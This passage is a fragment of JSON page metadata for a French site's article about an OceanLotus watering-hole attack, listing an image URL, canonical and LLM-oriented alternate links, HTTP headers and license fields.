0]"}],"media":{"primary_image":"https://tutos-gameserver.fr/wp-content/uploads/2019/12/ladybower-reservoir-3129737_1920.jpg"},"relations":[{"rel":"canonical","href":"https://tutos-gameserver.fr/2019/12/05/oceanlotus-nouvelle-attaque-de-points-deau-en-asie-du-sud-est-serveur-dimpression/"},{"rel":"alternate","href":"https://tutos-gameserver.fr/2019/12/05/oceanlotus-nouvelle-attaque-de-points-deau-en-asie-du-sud-est-serveur-dimpression/llm","type":"text/html"},{"rel":"alternate","href":"https://tutos-gameserver.fr/2019/12/05/oceanlotus-nouvelle-attaque-de-points-deau-en-asie-du-sud-est-serveur-dimpression/llm.json","type":"application/json"},{"rel":"llm-manifest","href":"https://tutos-gameserver.fr/llm-endpoints-manifest.json","type":"application/json"}],"http_headers":{"X-LLM-Friendly":"1","X-LLM-Schema":"1.1.0","Content-Security-Policy":"default-src 'none'; img-src * data:; style-src 'unsafe-inline'"},"license":"CC BY-ND 4.0","attribution_required":true,"allow_cors":false}